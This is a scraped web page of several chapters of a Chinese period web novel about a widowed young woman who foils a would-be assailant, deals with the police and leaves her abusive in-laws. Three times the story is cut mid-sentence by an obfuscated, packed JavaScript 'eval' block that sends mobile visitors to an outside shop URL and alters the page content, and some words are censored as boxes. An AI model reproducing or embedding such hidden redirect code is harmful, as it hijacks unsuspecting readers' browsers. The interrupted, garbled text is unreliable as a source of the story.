两根牛角像吸铁石一样吸住四眼瞎的屁股,抛来抛去,红牛仔裤掉落,里面还是一条大红裤衩!拱得两个屁股失去了知觉。 四眼瞎叫苦连天。 原来是穿红裤子的缘故,牛一见红色就发了性子,西班牙斗牛也是这个原理。 “真是好孩子,牛牛加油,牛牛顶死他!”苏棠被放下石头,在火光下乐得捧腹大笑,“四眼瞎,人在做天爱看,你看你报应不就来了吗!哈哈哈,哈哈哈。” 当晚苏棠借村书记家的电话报了警,县里的警察同志很快出警。 在等警察来的时间里,西河头村许多村民被火光冲天的热闹声吵醒,从床上起来穿好衣服,走出家门。三五成群来到发火地点的牛棚,指指点点,议论纷纷,互相寒暄完交换了信息之后,又结队来到了村书记家。 大半夜,村书记家的院墙外外围满了人。 不一会儿两个骑着二八杠自行车的警察来过来了。 这是许多西河头村村民生平见到的第一部自行车。因为是严打期间,上级分派了指标下来,□□是大罪,够一个指标了,所以出警很快。 车上下来了两个警察,一男一女,男警察负责问话,女警察负责记录。 四眼瞎一口咬定是小寡妇勾引自己,白天和自己约好晚上见面。 女警察看了一眼四眼瞎的红裤衩,收回目光面无表情刷刷在笔记本上写字。 苏棠眼泪哗啦啦地流,说寡妇门前是非多,自己清白做人,从不做有伤风化之事,四眼瞎凭空污蔑她清白。 四眼瞎天生一张耍赖皮的嘴:“我刚到牛棚,她就伸手问我要钱,我说我不□□,这种事情你情我愿,小寡妇你也爽快了不是,我凭什么花钱。” 苏棠忍不住翻了个硕大无比的白眼:“蠢货,你在警察同志面前作伪证,罪加一等。” 两个警察均看了女当事人一眼,眼神里流露出诧异,现在许多村民连打电话报警都不会,穷乡僻壤居然还有懂点法律的人。 四眼瞎在村里蛮横惯了,梗着脖子继续说:“苍蝇不叮无缝蛋,大家都来评评理,村里那么多娘们儿寡妇,我怎么谁家都不去,偏偏怎么就来了你的牛棚!一个巴掌拍不响,林苏棠你是什么成份你自己清楚。都是嫁过人的寡妇了,别他妈在这装不懂..... “啪,啪。”林苏棠左手一巴掌,右手一巴掌,分别重重甩在四眼瞎两边脸上。 “响不响?不是说一个巴掌拍不响吗?我现在给你一巴掌,就问你响不响?” 女警察才新上任不久,听到清脆响亮的巴掌声明显愣了一下,手上的笔停顿了片刻。 男警察说:“都老实点,不许动手。” “你,好你个小寡妇,你敢打我!” 苏棠脸上泪痕未干,巴掌说来就来,四眼瞎两边脸立刻肿得小山高。 四眼瞎比苏棠矮,像猴一样精瘦,跳起来挥着巴掌要打回去。 男警察立刻抓住了他的手:“我再说一遍,都不许动手。” 抓得正是四眼瞎被烧伤的痛手,四眼瞎嘴里乱叫着“俺滴亲娘诶”痛弯了腰:“警察同志,她打我巴掌你怎么不管。” 这时院墙外一个高亢的女声响起:“打得好!警察同志,去年村里看社戏,台下人多,四眼瞎这不学好的偷摸过俺屁股!俺怕家里男人骂俺,一直没敢声张。” 话音未落,看热闹的人群爆出一阵哄笑。 女人说:“笑什么笑,哪天摸到你们屁股再笑也不迟!” 四眼瞎涨得脸红脖子粗,朝着人群啐了一口:“谁摸你屁股了,臭娘们儿,你少赖人。” 男警察是个年轻的小伙子,听到“屁股”二字,嘴角微微抽搐。一手抓住四眼瞎,一手摸了摸腰间挂着的枪:“都不许闹,我问你就答,没问就别答。” 四眼瞎气焰立刻萎了,小声嘟囔道:“我手受伤了,我要她赔钱。” 男警察问:“如实说,你是如何受伤的。” 四眼瞎说:“她放火烧我。” 男警察说:“在她放火烧你之前,你为什么不跑?你为什么要让她烧,你的目的是什么。” 四眼瞎声音低了:“这不是没来得及跑吗。” 男警察说:“所以在着火之前,你们并没有见过面,也没有约好半夜见面。” 四眼瞎不说话了。 男警察又问苏棠:“你为什么会在牛棚。” 苏棠说:“我给村长家放牛。” 男警察说:“你们是雇佣关系。” 苏棠:“我是她家儿媳妇,牛棚是我家的。” 男警察说“火是你点的?” 苏棠说:“是的。” 男警察说“为什么要点火。” 苏棠说:“牛棚太旧了,没法住人,打算建个新的住住。” 男警察说:“你点火的时候知道里面有人吗?” 苏棠摇头:“不知道,我晚上在牛棚后面放牛,牛吃饱了我才折回去点火。四眼瞎肯定就是这个时候钻进来的,并一直潜伏在里面等我回来□□我。□□不成,他还以手受伤为由对我进行抢劫勒索,所以我才报了警。警察同志,你们一定要把他抓进大牢。” 围观女群众听到“□□”二字纷纷不好意思低下头,男群众憋着坏笑,起哄道:“抓走□□犯,抓走□□犯!” 男警察又摸了一下枪,等人群安静下来,继续问苏棠:“你说他勒索你,请问你有经济损失吗,他手有没有伸进你的口袋里。如果有,那就是敲诈勒索,我们立刻带走他。” 四眼瞎慌了,想不到小结巴现在这么能说善辩,他今晚的确是奔着和小结巴寡妇睡觉去的,虽然还没坐过牢,但也知道坐牢不是什么好事。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后非常懂事地从袋子里拿出两个玉米递给郭英,“婶子,我可不能白吃你的东西。这两个玉米你拿着,我跟你换。” “哎哟,真是好孩子,婶儿不要你的玉米,婶儿家里玉米多着呢。一个红薯而已,不算什么的,给你吃你就吃了吧。”郭英瞧她人长得白白净净,脸更是俊俏,她活了这么久也没见过这么漂亮的人,而且懂事还嘴甜,心里对她更喜欢了。想到她刚刚跟警察同志说话不卑不亢的神情和胆量,她觉得这姑娘也不像村里传得脑子不好使那样。 心中暗叹林家没福气,把这么好的姑娘给了陈家,让陈家捡了现成的便宜去。 “那我就不客气了,真是谢谢婶儿了。” 一个蒸红薯有她两个拳头大,苏棠边走边吃,吃得饱乎乎的。路过田埂,大水牛正低头不知在嚼什么,牛棚和茅屋已经烧没了,只剩一摊黑灰。 见苏棠过来,大水牛哞叫一声,低头继续专心致志觅食。 苏棠径直走过去摸了摸大水牛的头和牛角:“昨晚真是谢谢你了,乖牛牛,姐姐给你加餐。”说着从袋子里拿出个玉米棒喂牛。 忽然她灵机一动,找了根长树枝做钓鱼竿,钓着玉米棒子。 苏棠曾在蒙古草原旅游过,学过骑马,现在如法炮制骑牛。她扯着牛缰绳踱步在田间,牛闻着玉米棒子的香味,牛鼻子靠近总吃不到,追着玉米棒子跑。 大水牛坐骑跑得又稳又快,不一会儿,一人一牛就来到了陈家院子门口,牛嘴也咬到了玉米棒子。 她一个寡妇,匆匆忙忙冲喜没打结婚证,没有孩子,男人死了,更没有离婚一说,怎样都是个自由身。这个陈家,反正她 苏棠把牛拴在门口,牛一口吞了玉米棒子,突然尾巴一甩,两条牛腿间的屁股哗啦啦落下一大泡牛粪在门口。 一股牛粪味直冲天灵盖,苏棠捂着鼻子,瓮声瓮气道:“牛牛乖,不许随地大小便。” 大水牛鼻子发出咻咻声,表示反抗,又拉了一坨大的。 陈家的院门外一下子多了两大泡牛屎。 半夜大火烧牛棚,惊动了县里的警察,许多村里的好事者前来观看热闹。 钱桂香一家晚上都睡着了,而且住得离地头边远,没凑上自家的热闹。 太阳出来了,公鸡打鸣,早晨钱桂香在院子里梳头,“砰砰砰”,院门被人敲响了。 “谁啊?大清早的有什么事。” 院外传来了一声响亮的牛叫。 钱桂香打开门,牛粪味扑鼻而来,苏棠从外面探出头,面带微笑。 “早啊,婆婆。”苏棠亲亲热热叫了声,大大咧咧走进来,然后径直往屋里走。 钱桂香还在气头上,大清早见到这张狐狸脸就不耐烦:“扫把星,谁让你回来的,你给我滚出去。”一面说一面腾出手推搡。 苏棠一把甩开钱桂香的手,她早上吃饱了,声音也中气十足:“这破院子,我想回就回!” 她还以为这小贱人会多撑几天,没想到这么快就回来求饶了。这些年钱桂香在媳妇头上作威作福惯了,当然要给她一个下马威。 “在牛棚住了一晚上知道滋味不好受了?现在知道回家了是吧,想回来可以,先在耀祖灵前跪满一天一夜。后天再跟着表哥去首都打工。” 苏棠翻了个白眼,不理会钱桂香的阻拦,走回自己的房间,发现自己的衣服都破破烂烂,勉强挑了两套没打补丁的衣服换洗,带上平时的洗漱用品,一起装到袋子里拎着准备出门。 陈武把自己关在房间里不出来,陈天赐还没醒,陈杏陈苗刚起床正站在院子里充满恨意地盯着苏棠,钱桂香看见外面的牛屎,开口又是一顿大骂,听着就是怪苏棠不该把牛牵回来。 既然决定要离开陈家,苏棠也懒得多费口舌跟钱桂香对骂,甚至也懒得看她,直接拎着袋子继续往院外走。 钱桂香见她像模像样拎着衣服,感觉出了什么不对劲,大着嗓门喊:“你这是要做什么!” 苏棠头也不回地说:“回娘家。” 9. 09 钱桂香气呼呼地瞪眼:“回家?回什么家,你奶奶把你卖到我家,陈家就是你的家。婆婆讲你两句,你怎么还蹬鼻子上脸了?后天你表哥要坐火车去首都,你不许不去。” 苏棠剜了一眼钱桂香,陈家这五个孩子的妈,大儿子残废让原主端屎端尿照料了七年,陈杏陈苗陈天赐是她一手带大的,就连和她同龄的陈武,也从她那里得到了不少便利,现在他们上学缺钱了,还打着算盘吸她的血。 书中原主对钱桂香言听计从,辛辛苦苦把别人的孩子都捧成才了,换来的只是陈家一群白眼狼对她的嫌恶。在他们看来,她这个大嫂始终是外姓人,他们没有一个把她当人。 原主死前后不后悔她不知道,但林苏棠绝不会走原主的老路,去他妈的,她又不是救世主,她不干了。原主那样的“好”女人,她不想当。而且陈家人也不值得被拯救,这群小兔子考上大学进国家单位只会糟蹋了皇粮。 林苏棠没说话,冷笑了一声,把视线从钱桂香身上收回,什么话都没说,直接大步流星走出了院门。 钱桂香见她真的走了,冲出门在她身后扯着嗓门喊:“做样子给谁看,和婆婆对着干,你也不怕人戳你脊梁骨!你走,你走!用不了几天你就会哭着求着要回来!” 苏棠不理会她,嘴里哼着小曲儿走远了。 陈家人都懵逼了。要知道这个大嫂,平时闷不吭声只会傻笑,像老黄牛一样老老实实埋头干活,怎么打骂都不跑。像今天这样一言不合收拾包袱回娘家,还是头一回。 林苏棠走后,钱桂香就坐在门槛上扯着嗓门嚎哭:“耀祖她媳妇啊,你这个白眼狼,我们陈家养了你七年,你在我们家吃了那么多饭,你说走就走啊!你就不怕遭报应吗,你好狠的心。” 乡邻居们都过来凑热闹,围在钱桂香面前,开口问:“武子他娘,你家媳妇这是怎么啦,前两天还好好的,怎么拎着衣服走了。” 钱桂香一口唾沫呸到地上,心里也没有底。林苏棠来家里七年,小时候就不爱说话,一直闷头做事,打不还手,骂不还口。撞了脑袋之后,就像变了一个人,奇怪的很。 她对邻居们说:“一定是脑子撞坏了!让她走,她走了家里正好少一个人吃饭。有能耐就别回来,等哪天她脑子好了想回来了,你看我依不依。” 邻居们都附和:“林家把闺女给了你们,再要回去名声也不不好听,而且一个寡妇老在娘家窝着对娘家也不好,林家过两天就会把人送回来了。” 钱桂香梗着脖子道:“想出就出想进就进,这又不是菜市场,送回来我也不要。” 又一个邻居插了句嘴:“桂香,昨夜你家牛棚着火了烧干净了你知道不。” 钱桂香抓住那人的手:“什么?你听谁说的?” 那邻居答:“大伙儿都亲眼看到的,好家伙把整个村子都烧亮了。” “俺的牛棚啊......” 钱桂香话没说完,两眼一黑,晕了过去。 一条不大的河滩,分隔出两个村,东边的叫东河头村,西边的叫西河头村。两个村距离很近,林苏棠的娘家在东河头村,步行二十多分钟就能到家。 她离开陈家,当然不是为了和钱桂香置气,林苏棠对他们一大家子根本不抱任何希望,没有希望就没有失望,更谈不上生气。她为原主感到不值,原主能在陈家几十年如一日奉献下去,她才待了不到两天就觉得窒息。 她是二十一世纪来的人,接受过高等教育,思想上对原主这种烧干自己奉献的别人行为极其不赞同。同样都是来人世间走一遭的人,谁比谁更高贵,别人的一辈子是一辈子,自己也只活一辈子,没必要亏待自己把自己摆在低位。 苏棠沿着原主的记忆,走在乡村的泥巴路上,刚转过一处田埂,就见到有个女人往这边来。 她继续往前走,那人远远喊住她:“小棠!” 那人三步跨作两步走到她面前,拉住她的手,将她上下打量,神色担忧地问道:“你没事吧,我正要去找你呢。” 女人手挎一篮鸡蛋,头上包着块洗得发白的藏篮头巾,头发梳得整齐熨帖,苏棠认出了她,这是原主的四姑林良娣。 原主和这个四姑不亲近,甚至到了讨厌的地步。 不过她不是原主,她甚至认为林良娣可能是她目前在这里遇到的最正常的亲戚。 “四姑,”苏棠弯眼笑着打招呼,“好久不见,你要出门呀。” 林良娣颇感意外,这是苏棠头一回和自己有说有笑。林良娣觉得这是个好兆头,姑娘长大了,变懂事了。林良娣和苏棠的母亲曾经很要好,苏棠母亲走后,林良娣一直想关心苏棠,但苏棠见了她要么不理不睬,要么就拿一双大眼睛瞪她,总不待见她。 “上回我给拿的桂圆估摸你也吃得差不多了。”林良娣将一提篮鸡蛋放到苏棠手上,“这是三十个鸡蛋,你拿好,我特地拿来给你补身子的。昨晚的事我早上才刚听说,陈家也忒缺德,怎么能让你住牛棚呢,那是人住的地方吗。真要有个好歹,他们家赔得起吗!” 陈家新媳妇被赶出家门住牛棚,晚上还差点被村里二流子得手的事情很快传开了。林家四姑得知此事,便请了个假准备好出门探望侄女。 苏棠被动地接过鸡蛋,有些疑惑:“什么桂圆?” 林良娣说:“你前天撞到了头,我特地跑镇上给你买来补血的。难道你没吃?” 苏棠摇头,猜到东西一定是被钱桂香昧了,她连个影儿都没见到。 “我明白了,一定是让钱桂香哪个老不死的偷吃了!你等着,我这次来就是要找她理论的,给你讨个公道。让他们陈家知道你不是好欺负的,哪怕天塌下来,你还有你四姑给你撑腰。”说着林良娣气得拉她往回走,苏棠一把拦住了她。 “四姑,算了吧,他们家对我也不好,我现在和他们家断了,我以后再也不进陈家门了。”有人愿替她出头,林苏棠觉得很感动。不过既然决定离开,以后就再不会和陈家有交集,苏棠不想把林良娣当枪使。 林良娣叹了口气:“你这孩子就是太好说话了。也罢,陈家对你不好,也没必要赖着不走。你还年轻,以后四姑再给你寻个好人家。” 苏棠微微一笑:“谢谢四姑,不过我觉得单身挺好的,暂时不考虑找人家。” 林良娣点头:“现在是新时代了,女孩子晚两年结婚也很正常,不用着急。那行,我现在送你回家,跟你奶奶好好说说,往后你还和做姑娘时一样住着。” 林苏棠看着那一篮子鸡蛋,想起昨天被村里人欺负的林星星,以及书中林良娣母女的结局,没由来眸光一暗,点头道:“好,四姑我跟你回去。” 来的路上,她发现手上钱不够,只好打消了去县城碰运气的念头。就算是条龙,在时机来临之前也得找个落脚点先盘着。现在的情况已经够差的了,难道还有比这更差的?她不信这个邪。 林良娣又问她:“对了,你头撞得好了没?”目光里流露出心疼。 “已经结痂了,好得差不多了。”林苏棠回答,虽然摸上去还隐隐有点疼,听到有人关心自己,苏棠觉得心里暖暖的。 林良娣不放心,上手撩开她后脑的头发,见果然结痂了,这才松了一口气。 姑娘新寡没两天就回娘家,而且娘家一大家子人没分家,回去难免招来闲言碎语。林良娣心里打鼓,知道林老太的性子,但心里已打定主意不会让侄女在家受欺负。她目光定了定,牵起苏棠的手往回走。 林良娣在林家排行老四,三十出头年纪。早年嫁了一个知青丈夫,生下女儿林星星,今年五岁。但丈夫在女儿两岁的时候因病去世了,林良娣一直没再嫁。 知青丈夫在镇上的初中教书,不知道什么原因一直没回城。丈夫死后,林良娣找了份学校食堂打饭的工作,每个月挣的钱刚够母女俩生活,日子勉强能过。她白天在学校食堂,女儿放在娘家由林老太带着。 “四姑,谢谢你一直对我这么好!”苏棠搂住林良娣的胳膊说,“以前是我不懂事。” 林良娣看着林苏棠绮丽的眉眼,难得她与自己这般亲近,觉得她的确和从前大不同了。因此试着多了句嘴。 “四姑说句公道话,你也别生气,你爹林老三真是太缺德了,当年你奶奶糊涂就算了,他居然也同意把你卖到陈家。”林良娣藏不住话,有什么就说什么。 苏棠狂点头:“四姑,我也觉得。”总算有人和她想法一样。 林良娣见她并没生气,便继续说:“就为这事,我还跟你爹吵了一架,你爹说我一个外嫁人,家里的事轮不到我插嘴。你爹叫我滚就算了,事关你自己的前程,你自己也一声不吭。我好几次说还了陈家的前把你赎回来,你总不肯,不知道陈家有什么好。” 当年林家人也是趁着林良娣不在家时把原主买给了陈家,为此林良娣还和家里大吵了一架,好几次来拿着钱来陈家赎人,但原主并不买账。等原主年纪再大点,又喜欢上了陈武,更不愿回林家了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055196|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来林良娣还特地回来了几次,劝原主趁年轻改嫁个好男人别在陈家耗着,给原主介绍了好几个人踏实家里不缺衣少食的人家,都被林苏棠回绝了。原主六十多死的时候,这位四姑还在人世,听到侄女的死讯,哭得差点背过气去。 苏棠低下头把自己撇干净:“四姑,我当时也是害怕,我什么都不懂,但我现在全面白了。” 说到最后,林良娣叹了一口气:“说来说去,四姑也是心疼你不该随便嫁过去。不过也不怪你,你从小亲娘就不在,身边也没个帮你参考出主意的人。” “嘻嘻,我知道四姑都是为我好,四姑最好啦。”苏棠把头往林良娣的肩膀靠了靠。 林良娣在家做姑娘时和原主母亲关系很好,自然便同苏棠说到了这茬。 苏棠生母是早年的下乡知青,被分配住在林家,看到林老三人高马大还孝顺,以为人品好,便对其暗生情愫,两人虽没领证,但林母十九岁就生下林苏棠,此后林家一直催她生儿子。在林苏棠四岁时林母想回城里参加高考,遭到了林家人的反对,出于无奈打算逃跑。 得知林母要逃跑,林家把人关起来不让走,除非她生出儿子。当时十七岁的林良娣很喜欢这个嫂子,平时和她关系也很好,因为不忍心半夜偷偷把人放了。林母这一去再没音信。 林父把自己这么多年没儿子的苦全怪罪到妹妹林良娣头上,这也导致原主林苏棠认为是四姑害自己从小没了娘,对其意见很大。 林良娣很喜欢苏棠的母亲,爱屋及乌,尽管这么多年苏棠不待见自己,她也会把一切归结于她从小没母亲照料的缘故,从不埋怨。 “你妈妈当年教我识过很多字,还带我认识和她一起下乡的其他知青,我这才有机会和星星她爸说上话。我一直很感激她。” 林良娣说出了当年的情况,眼里泛起泪光,“你妈是个烈性子,老林家把人关起来,我天天劝她想开点,她不听我话。一天撞两回头没死成,第二天上吊差点死了还好我送饭进来及时发现,后来我实在不忍心,只好半夜偷偷把人放了。” 苏棠听了一阵唏嘘,片刻后说:“四姑,我现在懂你了。” 事关人命,站在林苏棠的本人的视角看,并不觉得林良娣的做法有什么不妥。但原主苏棠是个包子性格,没有自己的主见,执意认为林良娣要是不放人,她就不会没娘。因为当年的事原主心里一直怨恨林良娣,所以从不站在她这边。 说到这,林良娣又有些担忧:“你爸是个牛脾气,你等下回家性子放软点,他说什么你就听着,别和他一般见识。” 林老太生了三儿一女,林良娣头上三个哥哥,做姑娘的时候林老太没少偏心儿子,林良娣嫁人后,三兄弟理所当然没少吸亲妹子的血。加之林良娣也受重男轻女思想的影响,多年来也无怨无悔补贴娘家兄弟。虽然性子耿直,但真闹起来还是有点怕这位牛脾气的三哥。 苏棠挺直了腰杆子:“他们卖姑娘的时候没把我当人,他敢说我,以后让他亲侄儿给他养老吧。” 原主的亲爹林志勇在家排行老三,为了给亲大哥的儿子林建发娶媳妇,答应林老太把女儿卖到陈家冲喜。 林家三兄弟里,老大老三都有儿子独林志勇没有,以后死了没有儿子打丧摔盆,他一直觉得抬不起头。而且女儿是个结巴,放在家也是赔钱货, 林老三卖女儿前有过一句经典发言:“建发是我老林家的长子,以后我老林家要靠他延续香火。作为叔叔给他花钱娶媳妇是应该的。 林良娣笑了笑不说话,姑娘大了有自己的想法是好事。不管怎样这都是三哥的亲女儿,应该不至于会对她怎么样。 姑侄说着话俩往林家走,刚走到西河头村村口,正好碰上等母亲回家的林星星。 林家孩子多,大人忙起来了孩子都丢给林老太管,林星星年纪最小,又是个女孩儿,林老太照顾她并不上心。 看到林良娣,小女孩儿眼睛一亮,弯起唇儿迈着小短腿跑上来:“妈,妈,抱抱。” 林良娣蹲下将人抱起,将脸贴在女儿红扑扑的小脸上:“好孩子,慢点儿跑,可别摔着了,妈在这儿。” 说完她转过身让林星星打招呼:“这是小棠姐姐,快叫姐姐。” 窝在母亲怀里的小萌娃这才注意到旁边还有个人,眨巴眨巴着一双黑葡萄般的大眼睛,好像认出来了她,冲苏棠嘻嘻一笑:“姐姐。” 苏棠也弯起眼睛笑,忍不住亲了一口小萌娃软乎乎的脸蛋:“小宝贝真乖。” 10. 010 “哟,这不是林老三家的闺女嘛?” 走在村路上,路边一位孤拐脸的女人叫住了苏棠。 苏棠转头看她,循着原主的记忆认出这是林家隔壁的邻居,小辈们都叫她水仙婶。 林良娣抱着林星星挡在苏棠身前,笑着帮她答:“水仙姨,我侄女回家住几天。” 水仙婶略过林良娣,走到苏棠面前,盯着她手里的篮子:“又不是过时过节,回就回了,篮子里装的啥啊,看着挺沉的。” 说着,她脖子前倾,伸手去揭布盖。 “啪”林苏棠出于本能的一巴掌打在她的手背上。 水仙婶啊哟啊哟叫唤:“你这孩子,我又不要你东西,你怎么还打人啊。” 林苏棠不喜欢别人未经允许随意动自己的东西,水仙婶的行为在她看来就是不尊重他人隐私的表现。所以,她会及时出手制止她。 苏棠理直气壮:“水仙婶,你怎么回事,我刚看到一只苍蝇趴在上头,我打苍蝇呢,你把手伸过来干嘛。” 水仙婶愣了一下,哪有苍蝇,她怎么没看到? 林良娣看了苏棠一眼,觉得她都有点不认识这个侄女了,从前的苏棠在人前说话磕磕巴巴,胆子小的跟老鼠一样,根本不会像刚才那样上手打人。也许是姑娘在婆家受了天大委屈,给逼成这样的,想到此心里更心疼侄女了。她往前一步打了个圆场:“桂花姨,我们先走了哈。” 等人走远,水仙婶才反应过来。跳起脚来指着姑侄二人走过的路骂:“大寡妇小寡妇,怀里还抱个小小寡妇,作恶作到老娘头上来了......” 可人已走远,那里还听得见。 这边路上,林星星用崇拜的星星眼看着苏棠,想到她刚刚教训坏大婶的样子,觉得特别厉害。怪不得昨天姐姐告诉自己,有人欺负自己一定要打回去,原来姐姐自己就是这样做的呀。 和四姑一起走到家门口,林家的破院子门开着,在墙外就能听到里面小孩子的打闹声。 两个堂弟林光祖、林光宗正在一人挥一根树枝当剑打着玩儿。 林家在村里不富裕,孩子们买不起像样的玩具,便捡农村现成的树枝和石子玩儿。 林光祖一树枝打在林光宗的手上,林光宗也一树枝打在他手上,正要打起来之际忽然听到林良娣的声音:“光祖光宗,二姐回来了。” 听到林苏棠回来了,林光祖、林光宗眼皮都不抬,当做没听见,继续挥舞着手里的枝条。 被卖到陈家后,林苏棠只有过年才能回一次娘家,每次待个一天就要回去。待多了回去钱桂香会打骂她,说她偷懒不干活。她手上没钱,钱桂香把家里东西看得比命还贵重,生怕她偷了去接济娘家。所以每次回娘家几乎都是空手回来,林家人见状,越发觉得她是赔钱货,越来越不待见她。 原作中林家人对林苏棠的态度转变是从林苏棠出去打工能挣钱的时候开始的,她每月攒的钱会偷偷给娘家人寄一部分。这样过年的时候回来娘家才渐渐对她有好脸色。 林良娣对苏棠讪讪一笑:“这俩小子最贪玩。” 苏棠不在意地笑笑:“让他们玩儿。” 林老太这会儿不在家,林良娣把苏棠领到了自己房里,指着不大房间里的一张双人床说:“晚上咱们三个就睡这里。” 以往苏棠回来只住一天,都是和堂姐林丽霞、堂妹林彩虹挤一张床。现在可能长期住,林良娣便安排她和自己睡一间。 林苏棠明白四姑的用意,也不客气,和她道了声谢。 林良娣知道侄女早上肯定没吃早饭,又去厨房里热了两个窝窝头和一个玉米,端到房里给她吃。 这一幕被刚从地里偷懒回来的林彩虹看在眼里,往林良娣房里一瞧,发现是家里送出去的二姐回来了,拔腿便去找奶奶林老太来。 林苏棠吃完后,林良娣让她把身上的孝服换了。 “怪不吉利的,等今天有空她再找个庙把这衣服化了。”林良娣一直很心疼这个侄女,这会儿像个母亲一样喋喋不休。林苏棠虽然不信这些,但也都依她。 等林苏棠换完衣服,林良娣又问她:“你和陈家哪位,没圆房吧。” 虽然是二十一世纪的人,但毕竟她的灵魂还只有二十来岁,四姑这么一问,林苏棠莫名其妙有点脸红。 她摇了摇头:“那晚我刚进房,就发现他死翘翘了。” 林良娣瞧侄女脸上并没有伤心的神色,这才放下心。 房间里林星星一直怯怯地偷看这个姐姐,这时终于鼓起勇气拉住她的手,糯叽叽地喊她:“姐姐,晚上我们一起睡。” 林苏棠冲小萌娃眨眨眼:“好呀,小宝贝。姐姐带你出去买糖吃好不好。” 小萌娃也冲她眨眨眼,小鸡啄米般点头说:“好。” 孩子的喜欢是藏不住的,林良娣看在眼里,笑道:“这孩子特别认生,家里几个姐姐抱她她都不要,你来了她就这么粘着你,看来她很喜欢你。” “星星最乖了,”林苏棠摸了摸林星星肉嘟嘟的小脸蛋,房间里待着闷得慌,刚好苏棠吃完东西想消消食,便说,“四姑,我带星星出去玩会儿会。” “诶,好,玩儿了一会儿就回来吃饭啊。” 林良娣今天请了一天假,让学校食堂的工友替她顶了一天班,眼看着中午到了,她正要准备做午饭。 林苏棠虽然才吃完饭还不饿,但还是应了。 沿着记忆的路线,她抱着林星星往供销社走。 林星星只有五岁,体重很轻,林苏棠虽然看起来很瘦,但这具身体经年累月劳作,练出了不小的力气,所以轻轻松松能抱着林星星走十来分钟。 一路上林星星趴在林苏棠的肩膀上咿咿呀呀地小声唱着歌,看得出来她心情很好,但一点都不闹腾。 苏棠其实不太会哄孩子,也不知道怎么跟小孩相处,但她就喜欢乖的听话的崽崽。 到了供销社,林苏棠把她抱在柜台上选东西:“星星,姐姐给你买糖。你要吃什么自己挑。” 其实这个年代供销社里的零食可挑选的范围很小,但在这个年代的小孩子眼中看起来却是琳琅满目。 “谢谢姐姐。” 林星星一看到这么多东西,眼睛都亮了,但她很懂事,就挑了一根五分钱的木棍糖。 林苏棠昨天挣了十块钱,这会儿豪气地把一块钱往柜台一放:“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055197|149170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板,这些木棍糖给我来十根。然后再包五毛钱的白糖。” 供销社老板用两个牛皮纸把木棍糖和白糖分开装。 林苏棠把装着木棍糖的牛皮纸塞到林星星怀里:“诺,星星,这些都是你的。” 林星星搂着这么多糖,不可置信地睁大水汪汪的眼睛。 “我的吗?” “是呀,这些糖都是星星的呀。” 妈妈偶尔也会给她买糖,但都是买一根,根本吃不够。有一次买了两根,还让奶奶抢去给两个哥哥吃了。 小萌娃第一次拥有这么多糖,脸上笑出了两个小梨涡,兴奋地嘟起嘴巴在林苏棠林苏棠脸上吧唧一口亲下去。 林星星嘴里含住一颗糖,被林苏棠牵着在村子里逛了一会儿,到了正午时分,两人才慢悠悠往回走。 一路上,村里的大人小孩儿都盯着林星星抱在怀里的牛皮纸,谁家这么有钱给女娃子买这么多糖吃啊。 这个年代的农村人大多数都重男轻女,生了女孩儿给口吃的养大了就算是大功一件了。平时买点好东西比如糖之类的,都是紧着家里的男娃种先吃。 有些认出来她们的便在背后议论说这是林家送出去的二丫头林苏棠,手上哪个小的是林家四姑的女儿林星星。 “哎呀,我才发现,姑侄都是寡妇啊。” “林家的女娃儿是不是八字硬,男人降不住啊。” 那些人自以为议论的声音并不小,林苏棠听得明明白白的,她扭头恶狠狠地对她们道:“你还降不住,我还怕克不死你们呢!” 打头的一个是苏棠上午碰到的水仙婶,她站出来跳脚:“哎,你怎么说话的,年纪轻轻怎么不积口德。” 苏棠回怼她:“我说哪来的狗叫,原来是你啊水仙婶,你真是狗掀门帘子,全凭一张嘴啊。” 走在路上,林星星扬起崇拜的小脸,奶声奶气说:“姐姐,我以后也要像你一样。” 林苏棠夹住声音问她:“像姐姐什么样呀。” 林星星露出小梨涡,开心地笑:“像姐姐一样厉害呀。”姐姐刚刚真的好勇敢呢。 林苏棠牵着林星星,走到了林家的院门外,突然听到里面有什么动静,接着是林老太的声音。 “二丫头呢?听说她回来了,怎么来家吃个饭就不见人了?” 林星星吓得手里的牛皮纸一抖,差点里面的糖就撒了,低着头神色怯怯的。 她喜欢吃糖,这是姐姐给她买的糖,奶奶发现了她手里这么多糖一定会全都拿走,然后分给两个哥哥的...... 林苏棠刚要往前跨一步时,发现林星星往后缩躲在她后面。她以为林星星走累了,便弯下腰一把将她抱起。 林星星小心翼翼地把牛皮纸藏在中间,然后用小小的身体挡住。 林老太没瞧见孙女,便高声叫起来:“二丫头,二丫头......” 她当然不是因为想念孙女,而是听说苏棠一回来就偷偷吃家里的饭,想着她每次回来都是空手,心里正不高兴呢,想找个理由把人打发了。 苏棠抱着林星星突然出现在林老太身后,陡然拔高音调,大吼一声:“奶奶,你在喊我吗?” 11. 11 林老太被吓得背后一抽抽,转身看到林苏棠,便破口大骂: “你个死丫头,你从阴司里突然冒出来,要吓死你奶奶啊。” 